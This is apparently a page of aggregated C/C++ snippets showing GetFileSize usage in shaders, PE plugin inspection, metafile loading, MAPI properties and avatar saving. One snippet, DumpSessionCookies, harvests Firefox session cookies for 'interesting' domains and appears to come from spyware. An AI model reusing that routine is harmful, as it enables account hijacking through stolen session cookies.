		real_data = new byte[real_size];
		if (uncompress(real_data, &real_size, comp_data, comp_size) != Z_OK)
		{
			MessageBoxA(NULL, "zlib uncompress failed!", "Error", MB_OK);
			return NULL;
		}
		delete[] data;
		*/
	}
	else
	{
		real_data = comp_data;
		real_size = fsize - sizeof(acr_header);
	}


	index_count = header->index_count;
	index_list = new acr_index[index_count];
	acr_index *real_index = (acr_index *)real_data;

	//计算字符串在内存中的实际地址
	for (ulong i = 0; i < index_count; i++)
	{
		index_list[i].hash = real_index->hash;
		index_list[i].old_str_off = (real_index->old_str_off + (ulong)data);
		index_list[i].old_str_len = real_index->old_str_len;
		index_list[i].new_str_off = (real_index->new_str_off + (ulong)data);
		index_list[i].new_str_len = real_index->new_str_len;
		real_index++;
	}
	return index_list;
}
Exemplo n.º 24
0
HRESULT CreateShaderPixel(IDirect3DDevice9 *Device, TSTR File, LPDIRECT3DPIXELSHADER9 *Handle)
{
	HRESULT			Hr;
	HANDLE			hFile;
	unsigned long	FileSize;
  	unsigned long	*Shader;
	TCHAR			*FileName;

	D3DCAPS9		Caps;
	DWORD Usage = 0;

	Hr = S_OK;



	if(!File.Length())
	{
		Handle = 0;
		return(S_OK);
	}

	FileName = FindFile(File);

	if(Device && FileName)
	{

		Device->GetDeviceCaps(&Caps);

		// for those mad Laptop users
		if(Caps.DeviceType == D3DDEVTYPE_REF)
		{
			Usage = D3DUSAGE_SOFTWAREPROCESSING;
		}

		hFile = CreateFile(FileName,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);
		if(hFile == INVALID_HANDLE_VALUE) 
		{
			return(E_FAIL);
		}
		
		FileSize = GetFileSize(hFile,NULL);
		
		Shader = (unsigned long*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,FileSize);
		if(!Shader) 
		{
			return(E_FAIL);
		}

		ReadFile(hFile,(void*)Shader,FileSize,&FileSize,NULL);
		CloseHandle(hFile);

		if(FAILED(Hr = Device->CreatePixelShader(Shader, Handle)))
		{
			return(Hr);
		}
	

		HeapFree(GetProcessHeap(),0,(void *)Shader);

	}
	else
	{
		return(E_FAIL);
	}


	return(Hr);
}
Exemplo n.º 25
0
MUUID* GetPluginInterfaces(const TCHAR* ptszFileName, bool& bIsPlugin)
{
	bIsPlugin = false;

	HANDLE hFile = CreateFile( ptszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL );
	if (hFile == INVALID_HANDLE_VALUE)
		return NULL;

	MUUID* pResult = NULL;
	BYTE* ptr = NULL;
	HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL );

	__try {
		__try {
			if (!hMap )
				__leave;

			DWORD dwHSize = 0, filesize = GetFileSize( hFile, &dwHSize );
			if (!filesize || filesize == INVALID_FILE_SIZE || dwHSize)
				__leave;

			if ( filesize < sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS) )
				__leave;

			ptr = (BYTE*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
			if (ptr == NULL)
				__leave;

			PIMAGE_NT_HEADERS pINTH = { 0 };
			PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)ptr;
			if ( pIDH->e_magic == IMAGE_DOS_SIGNATURE )
				pINTH = (PIMAGE_NT_HEADERS)(ptr + pIDH->e_lfanew);
			else
				__leave;

			if ((PBYTE)pINTH + sizeof(IMAGE_NT_HEADERS) >= ptr + filesize )
				__leave;
			if ( pINTH->Signature != IMAGE_NT_SIGNATURE )
				__leave;

			int nSections = pINTH->FileHeader.NumberOfSections;
			if (!nSections )
				__leave;

			INT_PTR base;
			PIMAGE_DATA_DIRECTORY pIDD;
			if ( pINTH->FileHeader.Machine == IMAGE_FILE_MACHINE_I386 &&
				  pINTH->FileHeader.SizeOfOptionalHeader >= sizeof(IMAGE_OPTIONAL_HEADER32) &&
				  pINTH->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
			{
				pIDD = (PIMAGE_DATA_DIRECTORY)( (PBYTE)pINTH + offsetof( IMAGE_NT_HEADERS32, OptionalHeader.DataDirectory ));
				base = *(DWORD*)((PBYTE)pINTH + offsetof(IMAGE_NT_HEADERS32, OptionalHeader.ImageBase));
			}
			else if ( pINTH->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 &&
						 pINTH->FileHeader.SizeOfOptionalHeader >= sizeof(IMAGE_OPTIONAL_HEADER64) &&
						 pINTH->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
			{
				pIDD = (PIMAGE_DATA_DIRECTORY)( (PBYTE)pINTH + offsetof( IMAGE_NT_HEADERS64, OptionalHeader.DataDirectory ));
				base = *(ULONGLONG*)((PBYTE)pINTH + offsetof(IMAGE_NT_HEADERS64, OptionalHeader.ImageBase ));
			}
			else __leave;

			// Export information entry
			DWORD expvaddr = pIDD[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
			DWORD expsize  = pIDD[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
			if (expsize < sizeof(IMAGE_EXPORT_DIRECTORY)) __leave;

			BYTE* pImage = ptr + pIDH->e_lfanew + pINTH->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_NT_HEADERS) - sizeof(IMAGE_OPTIONAL_HEADER);
			IMAGE_SECTION_HEADER *pExp = getSectionByRVA((IMAGE_SECTION_HEADER *)pImage, nSections, pIDD);
			if (!pExp) __leave;

			BYTE *pSecStart = ptr + pExp->PointerToRawData - pExp->VirtualAddress;
			IMAGE_EXPORT_DIRECTORY *pED = (PIMAGE_EXPORT_DIRECTORY)&pSecStart[expvaddr];
			DWORD *ptrRVA = (DWORD*)&pSecStart[pED->AddressOfNames];
			WORD  *ptrOrdRVA = (WORD*)&pSecStart[pED->AddressOfNameOrdinals];
			DWORD *ptrFuncList = (DWORD*)&pSecStart[pED->AddressOfFunctions];

			MUUID* pIds = NULL;
			bool bHasLoad = false, bHasUnload = false, bHasInfo = false, bHasMuuids = false;
			for (size_t i=0; i < pED->NumberOfNames; i++, ptrRVA++, ptrOrdRVA++) {
				char *szName = (char*)&pSecStart[*ptrRVA];
				if (!mir_strcmp(szName, "Load"))
					bHasLoad = true;
				if (!mir_strcmp(szName, "MirandaPluginInfoEx"))
					bHasInfo = true;
				else if (!mir_strcmp(szName, "Unload"))
					bHasUnload = true;
				else if (!mir_strcmp(szName, "MirandaInterfaces")) {
					bHasMuuids = true;
					pIds = (MUUID*)&pSecStart[ ptrFuncList[*ptrOrdRVA]];
				}
				// old plugin, skip it
				else if (!mir_strcmp(szName, "MirandaPluginInterfaces"))
					__leave;
			}

			// a plugin might have no interfaces
			if (bHasLoad && bHasUnload && bHasInfo)
				bIsPlugin = true;

			if (!bHasLoad || !bHasMuuids || !bHasUnload)
				__leave;

			int nLength = 1; // one for MIID_LAST
			for (MUUID* p = pIds; !equalUUID(*p, miid_last); p++)
				nLength++;

			pResult = (MUUID*)mir_alloc( sizeof(MUUID)*nLength);
			if (pResult)
				memcpy(pResult, pIds, sizeof(MUUID)*nLength);
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{};
	}
	__finally
	{
		if (ptr) UnmapViewOfFile(ptr);
		if (hMap) CloseHandle(hMap);
		CloseHandle(hFile);
	};

	return pResult;
}
Exemplo n.º 26
0
static HENHMETAFILE ReadEnhMetaFile(const char *path,ssize_t *width,
  ssize_t *height)
{
#pragma pack( push, 2 )
  typedef struct
  {
    DWORD dwKey;
    WORD hmf;
    SMALL_RECT bbox;
    WORD wInch;
    DWORD dwReserved;
    WORD wCheckSum;
  } APMHEADER, *PAPMHEADER;
#pragma pack( pop )

  DWORD
    dwSize;

  ENHMETAHEADER
    emfh;

  HANDLE
    hFile;

  HDC
    hDC;

  HENHMETAFILE
    hTemp;

  LPBYTE
    pBits;

  METAFILEPICT
    mp;

  HMETAFILE
    hOld;

  *width=512;
  *height=512;
  hTemp=GetEnhMetaFile(path);
#if defined(MAGICKCORE_HAVE__WFOPEN)
  if (hTemp == (HENHMETAFILE) NULL)
    {
      wchar_t
        *unicode_path;

      unicode_path=ConvertUTF8ToUTF16((const unsigned char *) path);
      if (unicode_path != (wchar_t *) NULL)
        {
          hTemp=GetEnhMetaFileW(unicode_path);
          unicode_path=(wchar_t *) RelinquishMagickMemory(unicode_path);
        }
    }
#endif
  if (hTemp != (HENHMETAFILE) NULL)
    {
      /*
        Enhanced metafile.
      */
      GetEnhMetaFileHeader(hTemp,sizeof(ENHMETAHEADER),&emfh);
      *width=emfh.rclFrame.right-emfh.rclFrame.left;
      *height=emfh.rclFrame.bottom-emfh.rclFrame.top;
      return(hTemp);
    }
  hOld=GetMetaFile(path);
  if (hOld != (HMETAFILE) NULL)
    {
      /*
        16bit windows metafile.
      */
      dwSize=GetMetaFileBitsEx(hOld,0,NULL);
      if (dwSize == 0)
        {
          DeleteMetaFile(hOld);
          return((HENHMETAFILE) NULL);
        }
      pBits=(LPBYTE) AcquireQuantumMemory(dwSize,sizeof(*pBits));
      if (pBits == (LPBYTE) NULL)
        {
          DeleteMetaFile(hOld);
          return((HENHMETAFILE) NULL);
        }
      if (GetMetaFileBitsEx(hOld,dwSize,pBits) == 0)
        {
          pBits=(BYTE *) DestroyString((char *) pBits);
          DeleteMetaFile(hOld);
          return((HENHMETAFILE) NULL);
        }
      /*
        Make an enhanced metafile from the windows metafile.
      */
      mp.mm=MM_ANISOTROPIC;
      mp.xExt=1000;
      mp.yExt=1000;
      mp.hMF=NULL;
      hDC=GetDC(NULL);
      hTemp=SetWinMetaFileBits(dwSize,pBits,hDC,&mp);
      ReleaseDC(NULL,hDC);
      DeleteMetaFile(hOld);
      pBits=(BYTE *) DestroyString((char *) pBits);
      GetEnhMetaFileHeader(hTemp,sizeof(ENHMETAHEADER),&emfh);
      *width=emfh.rclFrame.right-emfh.rclFrame.left;
      *height=emfh.rclFrame.bottom-emfh.rclFrame.top;
      return(hTemp);
    }
  /*
    Aldus Placeable metafile.
  */
  hFile=CreateFile(path,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,
    NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    return(NULL);
  dwSize=GetFileSize(hFile,NULL);
  pBits=(LPBYTE) AcquireQuantumMemory(dwSize,sizeof(*pBits));
  if (pBits == (LPBYTE) NULL)
    {
      CloseHandle(hFile);
      return((HENHMETAFILE) NULL);
    }
  ReadFile(hFile,pBits,dwSize,&dwSize,NULL);
  CloseHandle(hFile);
  if (((PAPMHEADER) pBits)->dwKey != 0x9ac6cdd7l)
    {
      pBits=(BYTE *) DestroyString((char *) pBits);
      return((HENHMETAFILE) NULL);
    }
  /*
    Make an enhanced metafile from the placable metafile.
  */
  mp.mm=MM_ANISOTROPIC;
  mp.xExt=((PAPMHEADER) pBits)->bbox.Right-((PAPMHEADER) pBits)->bbox.Left;
  *width=mp.xExt;
  mp.xExt=(mp.xExt*2540l)/(DWORD) (((PAPMHEADER) pBits)->wInch);
  mp.yExt=((PAPMHEADER)pBits)->bbox.Bottom-((PAPMHEADER) pBits)->bbox.Top;
  *height=mp.yExt;
  mp.yExt=(mp.yExt*2540l)/(DWORD) (((PAPMHEADER) pBits)->wInch);
  mp.hMF=NULL;
  hDC=GetDC(NULL);
  hTemp=SetWinMetaFileBits(dwSize,&(pBits[sizeof(APMHEADER)]),hDC,&mp);
  ReleaseDC(NULL,hDC);
  pBits=(BYTE *) DestroyString((char *) pBits);
  return(hTemp);
}
Exemplo n.º 27
0
//$--HrMAPISetPropFromFile-------------------------------------------------------
//  Set a property from a given file.
// -----------------------------------------------------------------------------
HRESULT HrMAPISetPropFromFile(           // RETURNS: return code
    IN LPMAPIPROP lpObj,                // pointer to object
    IN ULONG ulPropTag,                 // property tag
    IN LPSTR lpszFilename,             // pointer to source file name
    OUT ULONG *lpcbProp)                // pointer to count of bytes address
                                        // variable
{
    HRESULT        hr             = NOERROR;
    HRESULT        hrT            = NOERROR;
    SCODE          sc             = 0;
    LPSTREAM       lpStream       = NULL;
    HFILE          hFile          = HFILE_ERROR;
    OFSTRUCT       ofStruct       = {0};
    DWORD          dwBytesRead    = 0;
    LPBYTE         lpbBlock       = NULL;
    ULONG          ulBytesWritten = 0;
    ULARGE_INTEGER ll             = {0,0};
    ULONG          ulFileSize     = 0;
    BYTE           bLastByte      = 0xFF;
    ULONG          cbProp         = 0;

    DEBUGPUBLIC("HrMAPISetPropFromFile()\n");

    hr = CHK_HrMAPISetPropFromFile(
        lpObj,
        ulPropTag,
        lpszFilename,
        lpcbProp);

    if(FAILED(hr))
        RETURN(hr);

    *lpcbProp = 0;

    // Open a stream on the property
    hrT = MAPICALL(lpObj)->OpenProperty(
        /*lpObj,*/
        ulPropTag,
        (LPIID)&IID_IStream,
        STGM_DIRECT | STGM_WRITE | STGM_SHARE_EXCLUSIVE | STGM_CREATE,
        MAPI_CREATE | MAPI_MODIFY | MAPI_DEFERRED_ERRORS,
        (LPUNKNOWN *)&lpStream);

    if(FAILED(hrT))
    {
        // Streams are not supported by provider
        if((hrT == MAPI_E_NO_SUPPORT) || (hrT == MAPI_E_INTERFACE_NOT_SUPPORTED))
        {
            lpStream = NULL;
        }
        else
        {
            hr = HR_LOG(E_FAIL);
            goto cleanup;
        }
    }

    hFile = OpenFile(
        lpszFilename,
        &ofStruct,
        OF_READ);

    if(hFile == HFILE_ERROR)
    {
        hr = HR_LOG(E_FAIL);
        goto cleanup;
    }

    // Get file size
    if((ulFileSize = GetFileSize((HANDLE)hFile, NULL)) == (DWORD)HFILE_ERROR)
    {
        hr = HR_LOG(E_FAIL);
        goto cleanup;
    }

    if(PROP_TYPE(ulPropTag) == PT_UNICODE)
    {
        if((ulFileSize % sizeof(wchar_t)) != 0)
        {
            hr = HR_LOG(E_FAIL);
            goto cleanup;
        }
    }

    cbProp = ulFileSize;

    //  Copy propery value to the file
    if(lpStream != NULL)
    {
        // Allocate memory for the block buffer
        sc = MAPIAllocateBuffer(EDK_CBTRANSFER, (void **)&lpbBlock);

        // An error occured allocating the block buffer
        if(FAILED(sc))
        {
            hr = HR_LOG(E_OUTOFMEMORY);
            goto cleanup;
        }

        ll.LowPart  = ulFileSize;
        ll.HighPart = 0L;

        hrT = /*OLECALL*/(lpStream)->SetSize(/*lpStream,*/ ll);

        if(FAILED(hrT))
        {
            hr = HR_LOG(E_FAIL);
            goto cleanup;
        }

        for (;;)
        {
            BOOL    fStatus;

            // Read a block from the file
            fStatus = ReadFile(
                (HANDLE)hFile,
                lpbBlock,
                EDK_CBTRANSFER,
                &dwBytesRead,
                NULL);

            if(fStatus == FALSE)
            {
                hr = HR_LOG(E_FAIL);
                goto cleanup;
            }

            if(dwBytesRead == 0L)
                break;

            bLastByte = lpbBlock[dwBytesRead - 1L];

            // Write a block to the stream
            hrT = /*OLECALL*/(lpStream)->Write(
                /*lpStream,*/
                lpbBlock,
                dwBytesRead,
                &ulBytesWritten);

            if(FAILED(hrT))
            {
                hr = HR_LOG(E_FAIL);
                goto cleanup;
            }

            if(ulBytesWritten < dwBytesRead)
            {
                hr = HR_LOG(MAPI_E_NOT_ENOUGH_DISK);
                goto cleanup;
            }
        }

        if((PROP_TYPE(ulPropTag) == PT_STRING8) ||
           (PROP_TYPE(ulPropTag) == PT_UNICODE))
        {
            // NULL terminate if not already
            if(bLastByte != 0)
            {
                // Initialize with enough zeroes for a NULL character
                ZeroMemory(lpbBlock, sizeof(wchar_t));

                if(PROP_TYPE(ulPropTag) == PT_UNICODE)
                {
                    dwBytesRead = sizeof(wchar_t);
                }
                else
                {
                    dwBytesRead = 1L;
                }

                ulBytesWritten = 0L;

                // Write a block to the stream
                hrT = /*OLECALL*/(lpStream)->Write(
                    /*lpStream,*/
                    lpbBlock,
                    dwBytesRead,
                    &ulBytesWritten);

                if(FAILED(hrT))
                {
                    hr = HR_LOG(E_FAIL);
                    goto cleanup;
                }

                if(ulBytesWritten < dwBytesRead)
                {
                    hr = HR_LOG(MAPI_E_NOT_ENOUGH_DISK);
                    goto cleanup;
                }

                cbProp += ulBytesWritten;
            }
        }
    }
    else
    {
        BOOL  fStatus  = FALSE;
        ULONG PropType = 0;

        // Allocate the memory for the property value
        sc = MAPIAllocateBuffer(
            ulFileSize + 2 * sizeof(wchar_t),
            (void **)&lpbBlock);

        // An error occured allocating the block buffer
        if(FAILED(sc))
        {
            hr = HR_LOG(E_FAIL);
            goto cleanup;
        }

        // Read the property value into memory
        fStatus = ReadFile(
            (HANDLE)hFile,
            lpbBlock,
            ulFileSize,
            &dwBytesRead,
            NULL);

        if(fStatus == FALSE)
        {
            hr = HR_LOG(E_FAIL);
            goto cleanup;
        }

        // Check if the entire file was read
        if(dwBytesRead != ulFileSize)
        {
            hr = HR_LOG(E_FAIL);
            goto cleanup;
        }

        if((PROP_TYPE(ulPropTag) == PT_STRING8) ||
           (PROP_TYPE(ulPropTag) == PT_UNICODE))
        {
            // NULL terminate if not already
            bLastByte = lpbBlock[dwBytesRead - 1L];

            if(bLastByte != 0)
            {
                if(PROP_TYPE(ulPropTag) == PT_UNICODE)
                {
                    ((wchar_t *)lpbBlock)[dwBytesRead/sizeof(wchar_t)] = '\0';
                    ulFileSize += sizeof(wchar_t);
                }
                else
                {
                    lpbBlock[dwBytesRead] = 0;
                    ulFileSize++;
                }

                cbProp = ulFileSize;
            }
        }

        PropType = PROP_TYPE(ulPropTag);

        // Set property
        switch(PropType)
        {
        case PT_BINARY:
            hr = HrMAPISetPropBinary(
                lpObj,
                ulPropTag,
                ulFileSize,
                &lpbBlock);
            break;
        default:
            hr = HrMAPISetPropString(
                lpObj,
                ulPropTag,
                &lpbBlock);
        }
    }


cleanup:

    // Close the file
    if(hFile != HFILE_ERROR)
    {
        if(CloseHandle((HANDLE)hFile) == FALSE)
        {
            hr = HR_LOG(E_FAIL);
        }
    }

    // Release the stream
    //ULOLERELEASE(lpStream);
	if(lpStream != NULL)
	{
		lpStream->Release();
	}
	lpStream = NULL;  

    MAPIFREEBUFFER(lpbBlock);

    if(SUCCEEDED(hr))
    {
        *lpcbProp = cbProp;
    }

    RETURN(hr);
}
Exemplo n.º 28
0
int DumpSessionCookies(WCHAR *profilePath)
{
	char *session_memory = NULL;
	DWORD session_size;
	HANDLE h_session_file;
	JSONValue *value;
	JSONObject root;
	WCHAR sessionPath[MAX_PATH];
	WCHAR *host = NULL, *name = NULL, *cvalue = NULL;
	DWORD n_read = 0;

	swprintf_s(sessionPath, MAX_PATH, L"%s\\sessionstore.js", profilePath);
	h_session_file = FNC(CreateFileW)(sessionPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if (h_session_file == INVALID_HANDLE_VALUE)
		return 0;
	session_size = GetFileSize(h_session_file, NULL);
	if (session_size == INVALID_FILE_SIZE || session_size == 0) {
		CloseHandle(h_session_file);
		return 0;
	}
	session_memory = (char *)malloc(session_size + sizeof(WCHAR));
	if (!session_memory) {
		CloseHandle(h_session_file);
		return 0;
	}
	memset(session_memory, 0, session_size + sizeof(WCHAR));
	if (!ReadFile(h_session_file, session_memory, session_size, &n_read, NULL)) {
		CloseHandle(h_session_file);
		SAFE_FREE(session_memory);
		return 0;
	}
	CloseHandle(h_session_file);
	if (n_read != session_size) {
		SAFE_FREE(session_memory);
		return 0;
	}
	value = JSON::Parse(session_memory);
	if (!value) {
		SAFE_FREE(session_memory);
		return 0;
	}
	if (value->IsObject() == false) {
		delete value;
		SAFE_FREE(session_memory);
		return 0;
	}
	root = value->AsObject();

	if (root.find(L"windows") != root.end() && root[L"windows"]->IsArray()) {
		JSONArray jwindows = root[L"windows"]->AsArray();
		for (unsigned int i = 0; i < jwindows.size(); i++) {
			if (jwindows[i]->IsObject()) {
				JSONObject jtabs = jwindows[i]->AsObject();
				if (jtabs.find(L"cookies") != jtabs.end() && jtabs[L"cookies"]->IsArray()) {
					JSONArray jcookiearray = jtabs[L"cookies"]->AsArray();
					for (unsigned int j = 0; j < jcookiearray.size(); j++) {
						if (jcookiearray[j]->IsObject()) {
							JSONObject jcookie = jcookiearray[j]->AsObject();
							if (jcookie.find(L"host") != jcookie.end() && jcookie[L"host"]->IsString()) 
								host = _wcsdup(jcookie[L"host"]->AsString().c_str());
							if (jcookie.find(L"name") != jcookie.end() && jcookie[L"name"]->IsString()) 
								name = _wcsdup(jcookie[L"name"]->AsString().c_str());
							if (jcookie.find(L"value") != jcookie.end() && jcookie[L"value"]->IsString()) 
								cvalue = _wcsdup(jcookie[L"value"]->AsString().c_str());

							NormalizeDomainW(host);
							if (host && name && cvalue && IsInterestingDomainW(host))
								AddCookieW(host, name, cvalue);

							SAFE_FREE(host);
							SAFE_FREE(name);
							SAFE_FREE(cvalue);
						}
					}
				}
			}
		}
	}	
	delete value;
	SAFE_FREE(session_memory);
	return 1;
}
Exemplo n.º 29
0
//----------------------------
   virtual bool IsEof() const{
      return (curr==top && GetFileSize()==GetCurrPos());
   }
Exemplo n.º 30
-21
static int SetProtoMyAvatar(char *protocol, HBITMAP hBmp, TCHAR *originalFilename, int originalFormat, BOOL square, BOOL grow)
{
	if (!ProtoServiceExists(protocol, PS_SETMYAVATAR))
		return -1;

	// If is swf or xml, just set it

	if (originalFormat == PA_FORMAT_SWF) {
		if (!Proto_IsAvatarFormatSupported(protocol, PA_FORMAT_SWF))
			return -1;

		return SaveAvatar(protocol, originalFilename);
	}

	if (originalFormat == PA_FORMAT_XML) {
		if (!Proto_IsAvatarFormatSupported(protocol, PA_FORMAT_XML))
			return -1;

		return SaveAvatar(protocol, originalFilename);
	}

	// Get protocol info
	SaveProtocolData d = { 0 };

	d.max_size = (DWORD)Proto_GetAvatarMaxFileSize(protocol);

	Proto_GetAvatarMaxSize(protocol, &d.width, &d.height);
	int orig_width = d.width;
	int orig_height = d.height;

	if (Proto_AvatarImageProportion(protocol) & PIP_SQUARE)
		square = TRUE;

	// Try to save until a valid image is found or we give up
	int num_tries = 0;
	do {
		// Lets do it
		ResizeBitmap rb;
		rb.size = sizeof(ResizeBitmap);
		rb.hBmp = hBmp;
		rb.max_height = d.height;
		rb.max_width = d.width;
		rb.fit = (grow ? 0 : RESIZEBITMAP_FLAG_DONT_GROW)
			| (square ? RESIZEBITMAP_MAKE_SQUARE : RESIZEBITMAP_KEEP_PROPORTIONS);

		d.hBmpProto = (HBITMAP)CallService(MS_IMG_RESIZE, WPARAM(&rb), 0);

		if (d.hBmpProto == NULL) {
			if (d.temp_file[0] != '\0')
				DeleteFile(d.temp_file);
			return -1;
		}

		// Check if can use original image
		if (d.hBmpProto == hBmp
			&& Proto_IsAvatarFormatSupported(protocol, originalFormat)
			&& (d.max_size == 0 || GetFileSize(originalFilename) < d.max_size)) {
			if (d.temp_file[0] != '\0')
				DeleteFile(d.temp_file);

			// Use original image
			return SaveAvatar(protocol, originalFilename);
		}

		// Create a temporary file (if was not created already)
		if (d.temp_file[0] == '\0') {
			d.temp_file[0] = '\0';
			if (GetTempPath(MAX_PATH, d.temp_file) == 0
				|| GetTempFileName(d.temp_file, _T("mir_av_"), 0, d.temp_file) == 0) {
				DeleteObject(d.hBmpProto);
				return -1;
			}
		}

		// Which format?

		// First try to use original format
		if (originalFormat != PA_FORMAT_BMP)
			SaveImage(d, protocol, originalFormat);

		if (!d.saved && originalFormat != PA_FORMAT_PNG)
			SaveImage(d, protocol, PA_FORMAT_PNG);

		if (!d.saved && originalFormat != PA_FORMAT_JPEG)
			SaveImage(d, protocol, PA_FORMAT_JPEG);

		if (!d.saved && originalFormat != PA_FORMAT_GIF)
			SaveImage(d, protocol, PA_FORMAT_GIF);

		if (!d.saved)
			SaveImage(d, protocol, PA_FORMAT_BMP);

		num_tries++;
		if (!d.saved && d.need_smaller_size && num_tries < 4) {
			// Cleanup
			if (d.hBmpProto != hBmp)
				DeleteObject(d.hBmpProto);

			// use a smaller size
			d.width = orig_width * (4 - num_tries) / 4;
			d.height = orig_height * (4 - num_tries) / 4;
		}
	} while (!d.saved && d.need_smaller_size && num_tries < 4);

	int ret;

	if (d.saved) {
		// Call proto service
		ret = SaveAvatar(protocol, d.image_file_name);
		DeleteFile(d.image_file_name);
	}
	else ret = -1;

	if (d.temp_file[0] != '\0')
		DeleteFile(d.temp_file);

	if (d.hBmpProto != hBmp)
		DeleteObject(d.hBmpProto);

	return ret;
}